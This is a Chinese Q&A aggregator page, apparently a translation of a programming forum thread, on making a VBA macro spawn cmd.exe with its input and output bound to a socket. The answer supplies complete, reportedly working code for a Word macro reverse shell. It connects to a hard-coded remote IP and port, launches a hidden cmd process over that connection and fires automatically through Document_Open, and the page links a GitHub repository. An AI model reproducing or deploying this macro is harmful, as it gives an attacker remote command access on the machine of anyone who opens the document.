微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦！

VBA CreateProcessA 将 StdIn 和 StdOut 重定向到套接字？

分类：编程问答

如何解决VBA CreateProcessA 将 StdIn 和 StdOut 重定向到套接字？

所以我正在尝试编写调用“CreateProcessA”的 VBA 来启动“cmd.exe”进程并将 stdin、stdout 和 stderror 重定向到连接到远程计算机的套接字。

目前，除了输出没有被重定向到套接字之外，几乎所有东西似乎都在工作。当我运行代码时，它在远程计算机上显示已收到连接，但随后 cmd 窗口只是在运行 VBA 的计算机上打开，仅此而已。有人知道为什么我无法重定向到套接字吗？我的代码如下。提前感谢您的帮助:)

Const ip = "192.168.43.1"
Const port = "1337"

Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Const SD_SEND = 1
Const MAX_PROTOCOL_CHAIN = 7&
Const WSAPROTOCOL_LEN = 255

' Typ deFinitions ----------------------------------------------------
Private Type WSADATA
    wVersion As Integer
    wHighVersion As Integer
    szDescription(0 To WSADESCRIPTION_LEN) As Byte
    szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
    iMaxSockets As Integer
    iMaxUdpDg As Integer
    lpvendorInfo As Long
End Type

Private Type ADDRINFO
    ai_flags As Long
    ai_family As Long
    ai_socktype As Long
    ai_protocol As Long
    ai_addrlen As Long
    ai_canonName As LongPtr 'strptr
    ai_addr As LongPtr 'p sockaddr
    ai_next As LongPtr 'p addrinfo
End Type

Private Type STARTUPINFOA
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Byte
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type PROCESS_informatION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type WSAPROTOCOLCHAIN
    ChainLen As Long
    ChainEntries(1 To MAX_PROTOCOL_CHAIN) As Long
End Type

Private Type GUID
    Data1 As Long
    Data2 As Integer
    Data3 As Integer
    Data4(7) As Byte
End Type

Private Type WSAPROTOCOL_INFO
    dwServiceFlags1 As Long
    dwServiceFlags2 As Long
    dwServiceFlags3 As Long
    dwServiceFlags4 As Long
    dwProviderFlags As Long
    ProviderId As GUID
    dwCatalogEntryId As Long
    ProtocolChain As WSAPROTOCOLCHAIN
    iVersion As Long
    iAddressFamily As Long
    iMaxSockAddr As Long
    iMinSockAddr As Long
    iSocketType As Long
    iProtocol As Long
    iProtocolMaxOffset As Long
    iNetworkByteOrder As Long
    iSecurityScheme As Long
    dwMessageSize As Long
    dwProviderReserved As Long
    szProtocol(1 To WSAPROTOCOL_LEN + 1) As Byte
End Type

Private Type Security_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As LongPtr
    bInheritHandle As Long
End Type
' Enums ---------------------------------------------------------------
Enum af
    AF_UNSPEC = 0
    AF_INET = 2
    AF_IPX = 6
    AF_APPLETALK = 16
    AF_NETBIOS = 17
    AF_INET6 = 23
    AF_IRDA = 26
    AF_BTH = 32
End Enum

Enum sock_type
    SOCK_STREAM = 1
    SOCK_DGRAM = 2
    SOCK_RAW = 3
    SOCK_RDM = 4
    SOCK_SEQPACKET = 5
End Enum
' External functions --------------------------------------------------

Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer,ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr,ByVal SOCKADDR As LongPtr,ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String,ByVal ServName As String,ByVal lpHints As LongPtr,lpResult As LongPtr) As Long
Private Declare PtrSafe Function ws_socket Lib "ws2_32.dll" Alias "socket" (ByVal af As Long,ByVal stype As Long,ByVal protocol As Long) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub copyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any,Source As Any,ByVal Length As Long)
Private Declare PtrSafe Function Send Lib "ws2_32.dll" Alias "send" (ByVal s As Long,ByVal buf As String,ByVal buflen As Long,ByVal flags As Long) As Long
Private Declare PtrSafe Function Recv Lib "ws2_32.dll" Alias "recv" (ByVal s As Long,ByRef buf As Byte,ByVal flags As Long) As Long
Private Declare PtrSafe Function SendWithPtr Lib "ws2_32.dll" Alias "send" (ByVal s As Long,ByVal bufPtr As Long,ByVal flags As Long) As Long
Private Declare PtrSafe Function shutdown Lib "ws2_32.dll" (ByVal s As Long,ByVal how As Long) As Long
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (var() As Any) As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String,ByVal lpCommandLine As String,ByRef lpProcessAttributes As Security_ATTRIBUTES,ByRef lpThreadAttributes As Security_ATTRIBUTES,ByVal bInheritHandles As Long,ByVal dwCreationFlags As Long,ByVal lpEnvironment As LongPtr,ByVal lpCurrentDirectory As String,lpStartupInfo As STARTUPINFOA,lpProcessinformation As PROCESS_informatION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA,ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long,ByVal t As Long,ByVal protocol As Long,lpProtocolInfo As LongPtr,ByVal g As Long,ByVal dwFlags As Long) As Long

Function revShell()
    Dim m_wsaData As WSADATA
    Dim m_RetVal As Integer
    Dim m_Hints As ADDRINFO
    Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
    Dim pAddrInfo As LongPtr
    Dim RetVal As Long
    Dim lastError As Long
    Dim iRC As Long
    Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
    Dim protoInfo As WSAPROTOCOL_INFO

    'Socket Settings
    RetVal = WSAStartup(MAKEWORD(2,2),m_wsaData)
    If (RetVal <> 0) Then
        MsgBox "WSAStartup Failed with error " & RetVal,WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If
    
    m_Hints.ai_family = af.AF_UNSPEC
    m_Hints.ai_socktype = sock_type.soCK_STREAM

    RetVal = GetAddrInfo(ip,port,VarPtr(m_Hints),pAddrInfo)
    If (RetVal <> 0) Then
        MsgBox "Cannot resolve address " & ip & " and port " & port & ",error " & RetVal,WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If

    m_Hints.ai_next = pAddrInfo
    Dim connected As Boolean: connected = False
    do while m_Hints.ai_next > 0
        copyMemory m_Hints,ByVal m_Hints.ai_next,LenB(m_Hints)

        m_ConnSocket = WSASocketA(m_Hints.ai_family,m_Hints.ai_socktype,m_Hints.ai_protocol,0)

        If (m_ConnSocket = INVALID_SOCKET) Then
            MsgBox "Error opening socket,error " & RetVal & WSAGetLastError()
        Else
            Dim connectionResult As Long

            connectionResult = connect(m_ConnSocket,m_Hints.ai_addr,m_Hints.ai_addrlen)

            If connectionResult <> SOCKET_ERROR Then
                connected = True
                Exit Do
            End If

            MsgBox ("connect() to socket Failed")
            closesocket (m_ConnSocket)
        End If
    Loop

    If Not connected Then
        MsgBox ("Fatal error: unable to connect to the server")
        'MsgBox (WSAGetLastError())
        RetVal = closesocket(m_ConnSocket)
        Call WSACleanup
        Exit Function
    End If
    
    Dim secAttrPrc As Security_ATTRIBUTES
    secAttrPrc.nLength = Len(secAttrPrc)
    Dim secAttrThr As Security_ATTRIBUTES
    secAttrThr.nLength = Len(secAttrThr)
    
    Dim si As STARTUPINFOA
    ZeroMemory si,Len(si)
    si.cb = Len(si)
    si.dwFlags = &H100
    si.hStdInput = m_ConnSocket
    si.hStdOutput = m_ConnSocket
    si.hStdError = m_ConnSocket
    Dim pi As PROCESS_informatION
    Dim worked As LongPtr
    Dim test As Long
    worked = CreateProc(vbNullString,"cmd.exe",secAttrPrc,secAttrThr,True,Environ("USERPROFILE"),si,pi)
    'MsgBox (worked)
    If worked Then
        MsgBox ("Worked!")
    Else
        MsgBox ("Didn't work")
    End If
End Function

解决方法

好的，所以我终于让它工作了。感谢这个线程中的一些用户，我遇到了一些我能够解决的问题。首先，我不得不使用 WSASocketA() 而不是 socket()，因为您无法将进程 IO 重定向到使用 socket() 创建的套接字。我遇到的另一个问题是 VBA 和 C 类型之间的类型不匹配。下面是更新后的代码，这里还有一个包含代码的 github 链接：https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell

Const ip = "192.168.43.1"
Const port = "1337"

Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1

Private Type WSADATA
    wVersion As Integer
    wHighVersion As Integer
    szDescription(0 To WSADESCRIPTION_LEN) As Byte
    szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
    iMaxSockets As Integer
    iMaxUdpDg As Integer
    lpVendorInfo As Long
End Type

Private Type ADDRINFO
    ai_flags As Long
    ai_family As Long
    ai_socktype As Long
    ai_protocol As Long
    ai_addrlen As Long
    ai_canonName As LongPtr
    ai_addr As LongPtr
    ai_next As LongPtr
End Type

Private Type STARTUPINFOA
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As String
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Enum af
    AF_UNSPEC = 0
    AF_INET = 2
    AF_IPX = 6
    AF_APPLETALK = 16
    AF_NETBIOS = 17
    AF_INET6 = 23
    AF_IRDA = 26
    AF_BTH = 32
End Enum

Enum sock_type
    SOCK_STREAM = 1
    SOCK_DGRAM = 2
    SOCK_RAW = 3
    SOCK_RDM = 4
    SOCK_SEQPACKET = 5
End Enum

Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer,ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr,ByVal SOCKADDR As LongPtr,ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String,ByVal ServName As String,ByVal lpHints As LongPtr,lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any,Source As Any,ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String,ByVal lpCommandLine As String,ByVal lpProcessAttributes As Any,ByVal lpThreadAttributes As Any,ByVal bInheritHandles As Long,ByVal dwCreationFlags As Long,ByVal lpEnvironment As LongPtr,ByVal lpCurrentDirectory As String,lpStartupInfo As STARTUPINFOA,lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA,ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long,ByVal t As Long,ByVal protocol As Long,lpProtocolInfo As Any,ByVal g As Long,ByVal dwFlags As Long) As Long

Function revShell()
    Dim m_wsaData As WSADATA
    Dim m_RetVal As Integer
    Dim m_Hints As ADDRINFO
    Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
    Dim pAddrInfo As LongPtr
    Dim RetVal As Long
    Dim lastError As Long
    Dim iRC As Long
    Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512

    RetVal = WSAStartup(MAKEWORD(2,2),m_wsaData)
    If (RetVal <> 0) Then
        MsgBox "WSAStartup failed with error " & RetVal,WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If
    
    m_Hints.ai_family = af.AF_UNSPEC
    m_Hints.ai_socktype = sock_type.SOCK_STREAM

    RetVal = GetAddrInfo(ip,port,VarPtr(m_Hints),pAddrInfo)
    If (RetVal <> 0) Then
        MsgBox "Cannot resolve address " & ip & " and port " & port & ",error " & RetVal,WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If

    m_Hints.ai_next = pAddrInfo
    Dim connected As Boolean: connected = False
    Do While m_Hints.ai_next > 0
        CopyMemory m_Hints,ByVal m_Hints.ai_next,LenB(m_Hints)

        m_ConnSocket = WSASocketA(m_Hints.ai_family,m_Hints.ai_socktype,m_Hints.ai_protocol,ByVal 0&,0)
        
        If (m_ConnSocket = INVALID_SOCKET) Then
            revShell = False
        Else
            Dim connectionResult As Long

            connectionResult = connect(m_ConnSocket,m_Hints.ai_addr,m_Hints.ai_addrlen)

            If connectionResult <> SOCKET_ERROR Then
                connected = True
                Exit Do
            End If
            
            closesocket (m_ConnSocket)
            revShell = False
        End If
    Loop

    If Not connected Then
        revShell = False
        RetVal = closesocket(m_ConnSocket)
        Call WSACleanup
        Exit Function
    End If
    
    Dim si As STARTUPINFOA
    ZeroMemory si,Len(si)
    si.cb = Len(si)
    si.dwFlags = &H100
    si.hStdInput = m_ConnSocket
    si.hStdOutput = m_ConnSocket
    si.hStdError = m_ConnSocket
    Dim pi As PROCESS_INFORMATION
    Dim worked As LongPtr
    Dim test As Long
    worked = CreateProc(vbNullString,"cmd",True,&H8000000,vbNullString,si,pi)
    revShell = worked
End Function

Public Function MAKEWORD(Lo As Byte,Hi As Byte) As Integer
    MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function

Private Sub Document_Open()
    Dim success As Boolean
    success = revShell()
End Sub

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 dio@foxmail.com 举报，一经查实，本站将立刻删除。

苹果市值2025年有望达4万亿美元
pythonJavaScriptjavaHTMLPHPreactjsC#AndroidCSSNode.jssqlrpython-3.xMysqLjQueryc++pandasFlutterangularIOSdjangolinuxswifttypescript路由器JSON路由器设置无线路由器h3c华三华三路由器设置华三路由器电脑软件教程arraysdocker软件图文教程Cvue.jslaravelspring-boot